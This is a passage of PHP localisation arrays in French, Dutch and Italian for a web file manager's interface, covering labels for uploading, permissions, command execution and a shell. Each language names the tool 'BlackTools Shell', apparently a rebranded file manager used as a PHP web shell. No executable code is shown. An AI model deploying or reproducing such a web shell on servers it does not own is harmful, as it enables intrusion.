1182 $fr2['NoPhpinfo'] = 'Function phpinfo désactivé';
1183 $fr2['NoReturn'] = 'sans retour possible';
1184 $fr2['FileSent'] = 'Fichier envoyé';
1185 $fr2['SpaceLimReached'] = 'Limite de d\'espace atteint';
1186 $fr2['InvExt'] = 'Extension invalide';
1187 $fr2['FileNoOverw'] = 'Fichier ne peut pas être écrasé';
1188 $fr2['FileOverw'] = 'Fichier écrasé';
1189 $fr2['FileIgnored'] = 'Fichier ignoré';
1190 $fr2['ChkVer'] = 'Check nouvelle version';
1191 $fr2['ChkVerAvailable'] = 'Nouvelle version, cliquez ici pour commencer le téléchargement!!';
1192 $fr2['ChkVerNotAvailable'] = 'Aucune nouvelle version disponible. :(';
1193 $fr2['ChkVerError'] = 'Erreur de connection.';
1194 $fr2['Website'] = 'Site Web';
1195 $fr2['SendingForm'] = 'Envoye de fichier, s\'il vous plaît patientez';
1196 $fr2['NoFileSel'] = 'Aucun fichier sélectionné';
1197 $fr2['SelAll'] = 'Tout';
1198 $fr2['SelNone'] = 'Aucuns';
1199 $fr2['SelInverse'] = 'Inverser';
1200 $fr2['Selected_s'] = 'sélectionné';
1201 $fr2['Total'] = 'total';
1202 $fr2['Partition'] = 'Partition';
1203 $fr2['RenderTime'] = 'Temps pour afficher la page';
1204 $fr2['Seconds'] = 'sec';
1205 $fr2['ErrorReport'] = 'Liste des erreurs';
1206
1207 // French - by Michel Lainey
1208 $fr3['Version'] = 'Version';
1209 $fr3['DocRoot'] = 'Racine Document';
1210 $fr3['FLRoot'] = 'Racine File Manager';
1211 $fr3['Name'] = 'Nom';
1212 $fr3['And'] = 'et';
1213 $fr3['Enter'] = 'Valider';
1214 $fr3['Send'] = 'Envoyer';
1215 $fr3['Refresh'] = 'Raffraichir';
1216 $fr3['SaveConfig'] = 'Sauvegarder Config';
1217 $fr3['SavePass'] = 'Sauvegarder Password';
1218 $fr3['SaveFile'] = 'Sauvegarder Fichier';
1219 $fr3['Save'] = 'Sauvegarder';
1220 $fr3['Leave'] = 'Quitter';
1221 $fr3['Edit'] = 'Editer';
1222 $fr3['View'] = 'Visualiser';
1223 $fr3['Config'] = 'Config';
1224 $fr3['Ren'] = 'Renommer';
1225 $fr3['Rem'] = 'Supprimer';
1226 $fr3['Compress'] = 'Compresser';
1227 $fr3['Decompress'] = 'Décompresser';
1228 $fr3['ResolveIDs'] = 'Resoudre IDs';
1229 $fr3['Move'] = 'Déplacer';
1230 $fr3['Copy'] = 'Copier';
1231 $fr3['ServerInfo'] = 'Server Info';
1232 $fr3['CreateDir'] = 'Créer Répertoire';
1233 $fr3['CreateArq'] = 'Créer Fichier';
1234 $fr3['ExecCmd'] = 'Executer Commande';
1235 $fr3['Upload'] = 'Upload';
1236 $fr3['UploadEnd'] = 'Upload Fini';
1237 $fr3['Perm'] = 'Perm';
1238 $fr3['Perms'] = 'Permissions';
1239 $fr3['Owner'] = 'Propriétaire';
1240 $fr3['Group'] = 'Groupe';
1241 $fr3['Other'] = 'Autres';
1242 $fr3['Size'] = 'Taille';
1243 $fr3['Date'] = 'Date';
1244 $fr3['Type'] = 'Type';
1245 $fr3['Free'] = 'libre';
1246 $fr3['Shell'] = 'Shell';
1247 $fr3['Read'] = 'Lecture';
1248 $fr3['Write'] = 'Ecriture';
1249 $fr3['Exec'] = 'Execute';
1250 $fr3['Apply'] = 'Application';
1251 $fr3['StickyBit'] = 'Sticky Bit';
1252 $fr3['Pass'] = 'Password';
1253 $fr3['Lang'] = 'Language';
1254 $fr3['File'] = 'Fichier';
1255 $fr3['File_s'] = 'fichier(s)';
1256 $fr3['Dir_s'] = 'répertoire(s)';
1257 $fr3['To'] = 'Ã ';
1258 $fr3['Destination'] = 'Destination';
1259 $fr3['Configurations'] = 'Configurations';
1260 $fr3['JSError'] = 'Erreur JavaScript';
1261 $fr3['NoSel'] = 'Aucun élément sélectionné';
1262 $fr3['SelDir'] = "Sélectionner le répertoire de destination dans l'arboresence de gauchethe destination directory on the left tree";
1263 $fr3['TypeDir'] = 'Indiquer le nom du répertoire';
1264 $fr3['TypeArq'] = 'Indiquer le nom du fichier';
1265 $fr3['TypeCmd'] = 'Entrer une commande';
1266 $fr3['TypeArqComp'] = "Indiquer le nom du fichier.\\nL'extension définira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip";
1267 $fr3['RemSel'] = "SUPPRIMER l'élément sélectionné";
1268 $fr3['NoDestDir'] = "Il n'y a pas de répertoire destination sélectionné";
1269 $fr3['DestEqOrig'] = 'Répertoire Origine et Destination sont identiques';
1270 $fr3['InvalidDest'] = 'Le répertoire de destination est invalide';
1271 $fr3['NoNewPerm'] = 'Nouvelle permission non appliquée';
1272 $fr3['CopyTo'] = 'COPIER vers';
1273 $fr3['MoveTo'] = 'DEPLACER vers';
1274 $fr3['AlterPermTo'] = 'CHANGER LES PERMISSIONS vers';
1275 $fr3['ConfExec'] = 'Confirmer EXECUTION';
1276 $fr3['ConfRem'] = 'Confirmer SUPPRESSION';
1277 $fr3['EmptyDir'] = 'Répertoire vide';
1278 $fr3['IOError'] = 'Erreur entrée/sortie';
1279 $fr3['FileMan'] = 'BlackTools Shell';
1280 $fr3['TypePass'] = 'Saisir le mot de passe';
1281 $fr3['InvPass'] = 'Mot de passe invalide';
1282 $fr3['ReadDenied'] = 'Accès en lecture refusé';
1283 $fr3['FileNotFound'] = 'Fichier non trouvé';
1284 $fr3['AutoClose'] = 'Fermeture en fin de traitement';
1285 $fr3['OutDocRoot'] = 'Fichier en dessous de DOCUMENT_ROOT';
1286 $fr3['NoCmd'] = 'Erreur : Commande non renseignée';
1287 $fr3['ConfTrySave'] = "Fichier sans permission d'écriture.\\nTenter de sauver malgré tout";
1288 $fr3['ConfSaved'] = 'Configurations sauvegardée';
1289 $fr3['PassSaved'] = 'Password sauvegardé';
1290 $fr3['FileDirExists'] = 'Fichier ou répertoire déjà existant';
1291 $fr3['NoPhpinfo'] = 'Fonction phpinfo disactivée';
1292 $fr3['NoReturn'] = 'pas de retour';
1293 $fr3['FileSent'] = 'Fichier envoyé';
1294 $fr3['SpaceLimReached'] = 'Capacité maximale atteinte';
1295 $fr3['InvExt'] = 'Extension invalide';
1296 $fr3['FileNoOverw'] = 'Fichier ne pouvant être remplacé';
1297 $fr3['FileOverw'] = 'Fichier remplacé';
1298 $fr3['FileIgnored'] = 'Fichier ignoré';
1299 $fr3['ChkVer'] = 'Vérifier nouvelle version';
1300 $fr3['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour commencer le téléchargement !';
1301 $fr3['ChkVerNotAvailable'] = 'Pas de nouvelle version disponible. :(';
1302 $fr3['ChkVerError'] = 'Erreur de connection.';
1303 $fr3['Website'] = 'Site Web';
1304 $fr3['SendingForm'] = "Fichiers en cours d'envoi, merci de patienter";
1305 $fr3['NoFileSel'] = 'Pas de fichier sélectionné';
1306 $fr3['SelAll'] = 'Tous';
1307 $fr3['SelNone'] = 'Aucun';
1308 $fr3['SelInverse'] = 'Inverser';
1309 $fr3['Selected_s'] = 'sélectionné';
1310 $fr3['Total'] = 'total';
1311 $fr3['Partition'] = 'Partition';
1312 $fr3['RenderTime'] = 'Temps nécessaire pour obtenir cette page';
1313 $fr3['Seconds'] = 'sec';
1314 $fr3['ErrorReport'] = 'Erreur de compte rendu';
1315
1316 // Dutch - by Leon Buijs
1317 $nl['Version'] = 'Versie';
1318 $nl['DocRoot'] = 'Document Root';
1319 $nl['FLRoot'] = 'File Manager Root';
1320 $nl['Name'] = 'Naam';
1321 $nl['And'] = 'en';
1322 $nl['Enter'] = 'Enter';
1323 $nl['Send'] = 'Verzend';
1324 $nl['Refresh'] = 'Vernieuw';
1325 $nl['SaveConfig'] = 'Configuratie opslaan';
1326 $nl['SavePass'] = 'Wachtwoord opslaan';
1327 $nl['SaveFile'] = 'Bestand opslaan';
1328 $nl['Save'] = 'Opslaan';
1329 $nl['Leave'] = 'Verlaten';
1330 $nl['Edit'] = 'Wijzigen';
1331 $nl['View'] = 'Toon';
1332 $nl['Config'] = 'Configuratie';
1333 $nl['Ren'] = 'Naam wijzigen';
1334 $nl['Rem'] = 'Verwijderen';
1335 $nl['Compress'] = 'Comprimeren';
1336 $nl['Decompress'] = 'Decomprimeren';
1337 $nl['ResolveIDs'] = 'Resolve IDs';
1338 $nl['Move'] = 'Verplaats';
1339 $nl['Copy'] = 'Kopieer';
1340 $nl['ServerInfo'] = 'Serverinformatie';
1341 $nl['CreateDir'] = 'Nieuwe map';
1342 $nl['CreateArq'] = 'Nieuw bestand';
1343 $nl['ExecCmd'] = 'Commando uitvoeren';
1344 $nl['Upload'] = 'Upload';
1345 $nl['UploadEnd'] = 'Upload voltooid';
1346 $nl['Perm'] = 'Rechten';
1347 $nl['Perms'] = 'Rechten';
1348 $nl['Owner'] = 'Eigenaar';
1349 $nl['Group'] = 'Groep';
1350 $nl['Other'] = 'Anderen';
1351 $nl['Size'] = 'Grootte';
1352 $nl['Date'] = 'Datum';
1353 $nl['Type'] = 'Type';
1354 $nl['Free'] = 'free';
1355 $nl['Shell'] = 'Shell';
1356 $nl['Read'] = 'Lezen';
1357 $nl['Write'] = 'Schrijven';
1358 $nl['Exec'] = 'Uitvoeren';
1359 $nl['Apply'] = 'Toepassen';
1360 $nl['StickyBit'] = 'Sticky Bit';
1361 $nl['Pass'] = 'Wachtwoord';
1362 $nl['Lang'] = 'Taal';
1363 $nl['File'] = 'Bestand';
1364 $nl['File_s'] = 'bestand(en)';
1365 $nl['Dir_s'] = 'map(pen)';
1366 $nl['To'] = 'naar';
1367 $nl['Destination'] = 'Bestemming';
1368 $nl['Configurations'] = 'Instellingen';
1369 $nl['JSError'] = 'Javascriptfout';
1370 $nl['NoSel'] = 'Er zijn geen bestanden geselecteerd';
1371 $nl['SelDir'] = 'Kies de bestemming in de boom aan de linker kant';
1372 $nl['TypeDir'] = 'Voer de mapnaam in';
1373 $nl['TypeArq'] = 'Voer de bestandsnaam in';
1374 $nl['TypeCmd'] = 'Voer het commando in';
1375 $nl['TypeArqComp'] = 'Voer de bestandsnaam in.\\nDe extensie zal het compressietype bepalen.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1376 $nl['RemSel'] = 'VERWIJDER geselecteerde itens';
1377 $nl['NoDestDir'] = 'Er is geen doelmap geselecteerd';
1378 $nl['DestEqOrig'] = 'Bron- en doelmap zijn hetzelfde';
1379 $nl['InvalidDest'] = 'Doelmap is ongeldig';
1380 $nl['NoNewPerm'] = 'Nieuwe rechten niet geset';
1381 $nl['CopyTo'] = 'KOPIEER naar';
1382 $nl['MoveTo'] = 'VERPLAATS naar';
1383 $nl['AlterPermTo'] = 'VERANDER RECHTEN in';
1384 $nl['ConfExec'] = 'Bevestig UITVOEREN';
1385 $nl['ConfRem'] = 'Bevestig VERWIJDEREN';
1386 $nl['EmptyDir'] = 'Lege map';
1387 $nl['IOError'] = 'I/O Error';
1388 $nl['FileMan'] = 'BlackTools Shell';
1389 $nl['TypePass'] = 'Voer het wachtwoord in';
1390 $nl['InvPass'] = 'Ongeldig wachtwoord';
1391 $nl['ReadDenied'] = 'Leestoegang ontzegd';
1392 $nl['FileNotFound'] = 'Bestand niet gevonden';
1393 $nl['AutoClose'] = 'Sluit na voltooien';
1394 $nl['OutDocRoot'] = 'Bestand buiten DOCUMENT_ROOT';
1395 $nl['NoCmd'] = 'Error: Command not informed';
1396 $nl['ConfTrySave'] = 'Bestand zonder schrijfrechten.\\nProbeer een andere manier';
1397 $nl['ConfSaved'] = 'Instellingen opgeslagen';
1398 $nl['PassSaved'] = 'Wachtwoord opgeslagen';
1399 $nl['FileDirExists'] = 'Bestand of map bestaat al';
1400 $nl['NoPhpinfo'] = 'Functie \'phpinfo\' is uitgeschakeld';
1401 $nl['NoReturn'] = 'no return';
1402 $nl['FileSent'] = 'Bestand verzonden';
1403 $nl['SpaceLimReached'] = 'Opslagruimtelimiet bereikt';
1404 $nl['InvExt'] = 'Ongeldige extensie';
1405 $nl['FileNoOverw'] = 'Bestand kan niet worden overgeschreven';
1406 $nl['FileOverw'] = 'Bestand overgeschreven';
1407 $nl['FileIgnored'] = 'Bestand genegeerd';
1408 $nl['ChkVer'] = 'Controleer nieuwe versie';
1409 $nl['ChkVerAvailable'] = 'Nieuwe versie, klik hier om de download te starten';
1410 $nl['ChkVerNotAvailable'] = 'Geen nieuwe versie beschikbaar';
1411 $nl['ChkVerError'] = 'Verbindingsfout.';
1412 $nl['Website'] = 'Website';
1413 $nl['SendingForm'] = 'Bestanden worden verzonden. Even geduld...';
1414 $nl['NoFileSel'] = 'Geen bestanden geselecteerd';
1415 $nl['SelAll'] = 'Alles';
1416 $nl['SelNone'] = 'Geen';
1417 $nl['SelInverse'] = 'Keer om';
1418 $nl['Selected_s'] = 'geselecteerd';
1419 $nl['Total'] = 'totaal';
1420 $nl['Partition'] = 'Partitie';
1421 $nl['RenderTime'] = 'Tijd voor maken van deze pagina';
1422 $nl['Seconds'] = 'sec';
1423 $nl['ErrorReport'] = 'Foutenrapport';
1424
1425 // Italian - by Valerio Capello
1426 $it1['Version'] = 'Versione';
1427 $it1['DocRoot'] = 'Document Root';
1428 $it1['FLRoot'] = 'File Manager Root';
1429 $it1['Name'] = 'Nome';
1430 $it1['And'] = 'e';
1431 $it1['Enter'] = 'Immetti';
1432 $it1['Send'] = 'Invia';
1433 $it1['Refresh'] = 'Aggiorna';
1434 $it1['SaveConfig'] = 'Salva la Configurazione';
1435 $it1['SavePass'] = 'Salva la Password';
1436 $it1['SaveFile'] = 'Salva il File';
1437 $it1['Save'] = 'Salva';
1438 $it1['Leave'] = 'Abbandona';
1439 $it1['Edit'] = 'Modifica';
1440 $it1['View'] = 'Guarda';
1441 $it1['Config'] = 'Configurazione';
1442 $it1['Ren'] = 'Rinomina';
1443 $it1['Rem'] = 'Elimina';
1444 $it1['Compress'] = 'Comprimi';
1445 $it1['Decompress'] = 'Decomprimi';
1446 $it1['ResolveIDs'] = 'Risolvi IDs';
1447 $it1['Move'] = 'Sposta';
1448 $it1['Copy'] = 'Copia';
1449 $it1['ServerInfo'] = 'Informazioni sul Server';
1450 $it1['CreateDir'] = 'Crea Directory';
1451 $it1['CreateArq'] = 'Crea File';
1452 $it1['ExecCmd'] = 'Esegui Comando';
1453 $it1['Upload'] = 'Carica';
1454 $it1['UploadEnd'] = 'Caricamento terminato';
1455 $it1['Perm'] = 'Perm';
1456 $it1['Perms'] = 'Permessi';
1457 $it1['Owner'] = 'Proprietario';
1458 $it1['Group'] = 'Gruppo';
1459 $it1['Other'] = 'Altri';
1460 $it1['Size'] = 'Dimensioni';
1461 $it1['Date'] = 'Data';
1462 $it1['Type'] = 'Tipo';
1463 $it1['Free'] = 'liberi';
1464 $it1['Shell'] = 'Shell';
1465 $it1['Read'] = 'Lettura';
1466 $it1['Write'] = 'Scrittura';
1467 $it1['Exec'] = 'Esecuzione';
1468 $it1['Apply'] = 'Applica';
1469 $it1['StickyBit'] = 'Sticky Bit';
1470 $it1['Pass'] = 'Password';
1471 $it1['Lang'] = 'Lingua';
1472 $it1['File'] = 'File';
1473 $it1['File_s'] = 'file';
1474 $it1['Dir_s'] = 'directory';
1475 $it1['To'] = 'a';
1476 $it1['Destination'] = 'Destinazione';
1477 $it1['Configurations'] = 'Configurazione';
1478 $it1['JSError'] = 'Errore JavaScript';
1479 $it1['NoSel'] = 'Non ci sono elementi selezionati';
1480 $it1['SelDir'] = 'Scegli la directory di destinazione';
1481 $it1['TypeDir'] = 'Inserisci il nome della directory';
1482 $it1['TypeArq'] = 'Inserisci il nome del file';
1483 $it1['TypeCmd'] = 'Inserisci il comando';
1484 $it1['TypeArqComp'] = 'Inserisci il nome del file.\\nLa estensione definirà il tipo di compressione.\\nEsempio:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1485 $it1['RemSel'] = 'ELIMINA gli elementi selezionati';
1486 $it1['NoDestDir'] = 'LA directory di destinazione non è stata selezionata';
1487 $it1['DestEqOrig'] = 'La directory di origine e di destinazione sono la stessa';
1488 $it1['InvalidDest'] = 'La directory di destinazione non è valida';
1489 $it1['NoNewPerm'] = 'Nuovi permessi non attivati';
1490 $it1['CopyTo'] = 'COPIA in';
1491 $it1['MoveTo'] = 'SPOSTA in';
1492 $it1['AlterPermTo'] = 'CAMBIA I PERMESSI: ';
1493 $it1['ConfExec'] = 'Conferma ESECUZIONE';
1494 $it1['ConfRem'] = 'Conferma ELIMINAZIONE';
1495 $it1['EmptyDir'] = 'Directory vuota';
1496 $it1['IOError'] = 'Errore di I/O';
1497 $it1['FileMan'] = 'BlackTools Shell';
1498 $it1['TypePass'] = 'Immetti la password';
1499 $it1['InvPass'] = 'Password non valida';
1500 $it1['ReadDenied'] = 'Permesso di lettura negato';
1501 $it1['FileNotFound'] = 'File non trovato';
1502 $it1['AutoClose'] = 'Chiudi la finestra al termine';
1503 $it1['OutDocRoot'] = 'File oltre DOCUMENT_ROOT';
1504 $it1['NoCmd'] = 'Errore: Comando non informato';
1505 $it1['ConfTrySave'] = 'File senza permesso di scrittura.\\nProvo a salvare comunque';
1506 $it1['ConfSaved'] = 'Configurazione salvata';
1507 $it1['PassSaved'] = 'Password salvata';
1508 $it1['FileDirExists'] = 'Il file o la directory esiste già ';
1509 $it1['NoPhpinfo'] = 'La funzione phpinfo è disabilitata';
1510 $it1['NoReturn'] = 'senza Return';
1511 $it1['FileSent'] = 'File inviato';
1512 $it1['SpaceLimReached'] = 'è stato raggiunto il limite di spazio disponibile';
1513 $it1['InvExt'] = 'Estensione non valida';
1514 $it1['FileNoOverw'] = 'Il file non può essere sovrascritto';
1515 $it1['FileOverw'] = 'File sovrascritto';
1516 $it1['FileIgnored'] = 'File ignorato';
1517 $it1['ChkVer'] = 'Controlla se è disponibile una nuova versione';
1518 $it1['ChkVerAvailable'] = 'è disponibile una nuova versione: premi qui per scaricarla.';
1519 $it1['ChkVerNotAvailable'] = 'Non è disponibile nessuna nuova versione. :(';
1520 $it1['ChkVerError'] = 'Errore di connessione.';
1521 $it1['Website'] = 'Sito Web';
1522 $it1['SendingForm'] = 'Invio file, attendere prego';
1523 $it1['NoFileSel'] = 'Nessun file selezionato';
1524 $it1['SelAll'] = 'Tutti';
1525 $it1['SelNone'] = 'Nessuno';
1526 $it1['SelInverse'] = 'Inverti';
1527 $it1['Selected_s'] = 'selezionato';
1528 $it1['Total'] = 'totali';
1529 $it1['Partition'] = 'Partizione';
1530 $it1['RenderTime'] = 'Tempo per elaborare questa pagina';
1531 $it1['Seconds'] = 'sec';
1532 $it1['ErrorReport'] = 'Error Reporting';
1533
1534 // Italian - by Federico CorrÃ
1535 $it2['Version'] = 'Versione';
1536 $it2['DocRoot'] = 'Root Documenti';
1537 $it2['FLRoot'] = 'Root del File Manager';
1538 $it2['Name'] = 'Nome';
1539 $it2['And'] = 'e';
1540 $it2['Enter'] = 'Invio';
1541 $it2['Send'] = 'Spedisci';
1542 $it2['Refresh'] = 'Aggiorna';
1543 $it2['SaveConfig'] = 'Salva configurazioni';
1544 $it2['SavePass'] = 'Salva password';
1545 $it2['SaveFile'] = 'Salva file';
1546 $it2['Save'] = 'Salva';
1547 $it2['Leave'] = 'Esci';
1548 $it2['Edit'] = 'Modifica';
1549 $it2['View'] = 'Visualizza';
1550 $it2['Config'] = 'Configura';
1551 $it2['Ren'] = 'Rinomina';
1552 $it2['Rem'] = 'Cancella';
1553 $it2['Compress'] = 'Comprimi';
1554 $it2['Decompress'] = 'Decomprimi';
1555 $it2['ResolveIDs'] = 'Risolvi ID';
1556 $it2['Move'] = 'Muovi';
1557 $it2['Copy'] = 'Copia';
1558 $it2['ServerInfo'] = 'Server info';
1559 $it2['CreateDir'] = 'Crea cartella';
1560 $it2['CreateArq'] = 'Crea file';
1561 $it2['ExecCmd'] = 'Esegui comando';
1562 $it2['Upload'] = 'Upload';
1563 $it2['UploadEnd'] = 'Upload terminato';
1564 $it2['Perm'] = 'Perm';
1565 $it2['Perms'] = 'Permessi';
1566 $it2['Owner'] = 'Owner';
1567 $it2['Group'] = 'Grouppo';
1568 $it2['Other'] = 'Altro';
1569 $it2['Size'] = 'Dimensione';
1570 $it2['Date'] = 'Data';
1571 $it2['Type'] = 'Tipo';
1572 $it2['Free'] = 'liberi';
1573 $it2['Shell'] = 'Shell';
1574 $it2['Read'] = 'Lettura';
1575 $it2['Write'] = 'Scrittura';
1576 $it2['Exec'] = 'Esecuzione';
1577 $it2['Apply'] = 'Applica';
1578 $it2['StickyBit'] = 'Sticky Bit';
1579 $it2['Pass'] = 'Password';
1580 $it2['Lang'] = 'Lingua';
1581 $it2['File'] = 'File';
1582 $it2['File_s'] = 'file';
1583 $it2['Dir_s'] = 'cartella';
1584 $it2['To'] = 'a';
1585 $it2['Destination'] = 'Destinazione';
1586 $it2['Configurations'] = 'Configurazioni';
1587 $it2['JSError'] = 'Errore JavaScript';
1588 $it2['NoSel'] = 'Nessun item selezionato';
1589 $it2['SelDir'] = 'Scegli la cartella di destinazione sull\'albero a sinistra';
1590 $it2['TypeDir'] = 'Inserisci il nome della cartella';
1591 $it2['TypeArq'] = 'Inserisci il nome del file';
1592 $it2['TypeCmd'] = 'Inserisci il comando';
1593 $it2['TypeArqComp'] = 'Inserisci il nome del file.\\nL\'estensione definirà le modalità di compressione.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1594 $it2['RemSel'] = 'ELIMINA gli item selezionati';
1595 $it2['NoDestDir'] = 'Non è stata selezionata la cartella di destinazione';
1596 $it2['DestEqOrig'] = 'La cartella di origine e di destinazione coincidono';
1597 $it2['InvalidDest'] = 'La cartella di destinazione non è valida';
1598 $it2['NoNewPerm'] = 'Nuovo permesso non definito';
1599 $it2['CopyTo'] = 'COPIA in';
1600 $it2['MoveTo'] = 'MUOVI in';
1601 $it2['AlterPermTo'] = 'CAMBIA PERMESSI in';
1602 $it2['ConfExec'] = 'Conferma ESECUZIONE';
1603 $it2['ConfRem'] = 'Conferma CANCELLA';
1604 $it2['EmptyDir'] = 'Cartella Vuota';
1605 $it2['IOError'] = 'Errore I/O';
1606 $it2['FileMan'] = 'BlackTools Shell';
1607 $it2['TypePass'] = 'Inserisci la password';
1608 $it2['InvPass'] = 'Password non valida';
1609 $it2['ReadDenied'] = 'Accesso in lettura non consentito';
1610 $it2['FileNotFound'] = 'File non trovato';
1611 $it2['AutoClose'] = 'Chiudi dopo aver completato';
1612 $it2['OutDocRoot'] = 'File oltre DOCUMENT_ROOT';
1613 $it2['NoCmd'] = 'Errore: comando non informato';
1614 $it2['ConfTrySave'] = 'Accesso in scrittura non consentito.\\nProva a salvare comunque';
1615 $it2['ConfSaved'] = 'Configurazioni salvate';
1616 $it2['PassSaved'] = 'Password salvate';
1617 $it2['FileDirExists'] = 'Il file o la cartella esiste già ';
1618 $it2['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
1619 $it2['NoReturn'] = 'Nessun ritorno';
1620 $it2['FileSent'] = 'File spedito';
1621 $it2['SpaceLimReached'] = 'Limite di spazio raggiunto';
1622 $it2['InvExt'] = 'Estensione non valida';
1623 $it2['FileNoOverw'] = 'Il file non potrebbe essere sovrascritto';
1624 $it2['FileOverw'] = 'File sovrascritto';
1625 $it2['FileIgnored'] = 'File ignorato';
1626 $it2['ChkVer'] = 'Check nuova versione';
1627 $it2['ChkVerAvailable'] = 'Nuova versione, clicca qui per iniziare il download!!';
1628 $it2['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :(';
1629 $it2['ChkVerError'] = 'Errore di connessione.';
1630 $it2['Website'] = 'Sito Web';
1631 $it2['SendingForm'] = 'Invio file, prego attendi';
1632 $it2['NoFileSel'] = 'Nessun file selezionato';
1633 $it2['SelAll'] = 'Tutti';
1634 $it2['SelNone'] = 'Nessuno';
1635 $it2['SelInverse'] = 'Inverti';
1636 $it2['Selected_s'] = 'selezionati';
1637 $it2['Total'] = 'totale';
1638 $it2['Partition'] = 'Partizione';
1639 $it2['RenderTime'] = 'Tempo per renderizzare questa pagina';
1640 $it2['Seconds'] = 'sec';
1641 $it2['ErrorReport'] = 'Report errori';
1642
1643 // Italian - by Luca Zorzi
1644 $it3['Version'] = 'Versione';
1645 $it3['DocRoot'] = 'Document Root';
1646 $it3['FLRoot'] = 'Root del File Manager';
1647 $it3['Name'] = 'Nome';
1648 $it3['And'] = 'e';
1649 $it3['Enter'] = 'Invio';
1650 $it3['Send'] = 'Invia';
1651 $it3['Refresh'] = 'Aggiorna';
1652 $it3['SaveConfig'] = 'Salva le impostazioni';
1653 $it3['SavePass'] = 'Salva la Password';
1654 $it3['SaveFile'] = 'Salva il File';
1655 $it3['Save'] = 'Salva';
1656 $it3['Leave'] = 'Annulla';
1657 $it3['Edit'] = 'Modifica';
1658 $it3['View'] = 'Guarda';
1659 $it3['Config'] = 'Impostazioni';
1660 $it3['Ren'] = 'Rinomina';
1661 $it3['Rem'] = 'Elimina';
1662 $it3['Compress'] = 'Comprimi';
1663 $it3['Decompress'] = 'Decomprimi';
1664 $it3['ResolveIDs'] = 'Risolvi ID';
1665 $it3['Move'] = 'Sposta';
1666 $it3['Copy'] = 'Copia';
1667 $it3['ServerInfo'] = 'Server Info';
1668 $it3['CreateDir'] = 'Crea Cartella';
1669 $it3['CreateArq'] = 'Crea File';
1670 $it3['ExecCmd'] = 'Esegui Comando';
1671 $it3['Upload'] = 'Upload';
1672 $it3['UploadEnd'] = 'Upload completato';
1673 $it3['Perm'] = 'Perm';
1674 $it3['Perms'] = 'Permessi';
1675 $it3['Owner'] = 'Proprietario';
1676 $it3['Group'] = 'Gruppo';
1677 $it3['Other'] = 'Altri';
1678 $it3['Size'] = 'Dimensione';
1679 $it3['Date'] = 'Data';
1680 $it3['Type'] = 'Tipo';
1681 $it3['Free'] = 'libero';
1682 $it3['Shell'] = 'Shell';
1683 $it3['Read'] = 'Lettura';
1684 $it3['Write'] = 'Scruttura';
1685 $it3['Exec'] = 'Esecuzione';
1686 $it3['Apply'] = 'Applica';
1687 $it3['StickyBit'] = 'Bit Sticky';
1688 $it3['Pass'] = 'Password';
1689 $it3['Lang'] = 'Lingua';
1690 $it3['File'] = 'File';
1691 $it3['File_s'] = 'file';
1692 $it3['Dir_s'] = 'cartella/e';
1693 $it3['To'] = 'a';
1694 $it3['Destination'] = 'Destinazione';
1695 $it3['Configurations'] = 'Configurazioni';
1696 $it3['JSError'] = 'Errore JavaScript';
1697 $it3['NoSel'] = 'Non ci sono elementi selezioneti';
1698 $it3['SelDir'] = 'Scegli la cartella di destinazione nell\'elenco a sinistra';
1699 $it3['TypeDir'] = 'Inserisci il nome della cartella';
1700 $it3['TypeArq'] = 'Inserisci il nome del file';
1701 $it3['TypeCmd'] = 'Inserisci il comando';
1702 $it3['TypeArqComp'] = 'Inserisci il nome del file.\\nIl nome definir à il tipo della compressione .\\nEs:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1703 $it3['RemSel'] = 'ELIMINA gli elementi selezionati';
1704 $it3['NoDestDir'] = 'Non hai selezionato la cartella di destinazione';
1705 $it3['DestEqOrig'] = 'La cartella di origine e destinazione è la stessa';
1706 $it3['InvalidDest'] = 'La cartella di destinazione non è valida';
1707 $it3['NoNewPerm'] = 'Nuovi permessi non impostati';
1708 $it3['CopyTo'] = 'COPIA in';
1709 $it3['MoveTo'] = 'SPOSTA in';
1710 $it3['AlterPermTo'] = 'CAMBIA I PERMESSI a';
1711 $it3['ConfExec'] = 'Conferma ESECUZIONE';
1712 $it3['ConfRem'] = 'Conferma ELIMINAZIONE';
1713 $it3['EmptyDir'] = 'CArtella vuota';
1714 $it3['IOError'] = 'Errore di I/O';
1715 $it3['FileMan'] = 'BlackTools Shell';
1716 $it3['TypePass'] = 'Inserisci la password';
1717 $it3['InvPass'] = 'Password errata';
1718 $it3['ReadDenied'] = 'Accesso in lettura negato';
1719 $it3['FileNotFound'] = 'File non trovato';
1720 $it3['AutoClose'] = 'Chiudi alla fine';
1721 $it3['OutDocRoot'] = 'File fuori dalla DOCUMENT_ROOT';
1722 $it3['NoCmd'] = 'Errore: Comando non informato';
1723 $it3['ConfTrySave'] = 'File senza il permesso di scrittura.\\nProvare a salvarlo comunque';
1724 $it3['ConfSaved'] = 'Configurazione salvata';
1725 $it3['PassSaved'] = 'Password salvata';
1726 $it3['FileDirExists'] = 'Il file o la cartella esiste già';
1727 $it3['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
1728 $it3['NoReturn'] = 'no return';
1729 $it3['FileSent'] = 'File inviato';
1730 $it3['SpaceLimReached'] = 'Limite di spazio raggiunto';
1731 $it3['InvExt'] = 'Estensione non valida';
1732 $it3['FileNoOverw'] = 'Il file non può essere sovrascritto';
1733 $it3['FileOverw'] = 'File sovrascritto';
1734 $it3['FileIgnored'] = 'File ignorato';
1735 $it3['ChkVer'] = 'Controlla la presnza di una nuova versione';
1736 $it3['ChkVerAvailable'] = 'Nuova versione, clicca qui per avviare il download!!';
1737 $it3['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :(';
1738 $it3['ChkVerError'] = 'Errore di connessione.';
1739 $it3['Website'] = 'Sito';
1740 $it3['SendingForm'] = 'Invio dei file, attendi';
1741 $it3['NoFileSel'] = 'Nessun file selezionato';
1742 $it3['SelAll'] = 'Tutti';
1743 $it3['SelNone'] = 'Nessuno';
1744 $it3['SelInverse'] = 'Inverti selezione';
1745 $it3['Selected_s'] = 'selezionato';
1746 $it3['Total'] = 'totale';
1747 $it3['Partition'] = 'Partizione';
1748 $it3['RenderTime'] = 'Tempo di generazione';
1749 $it3['Seconds'] = 'sec';
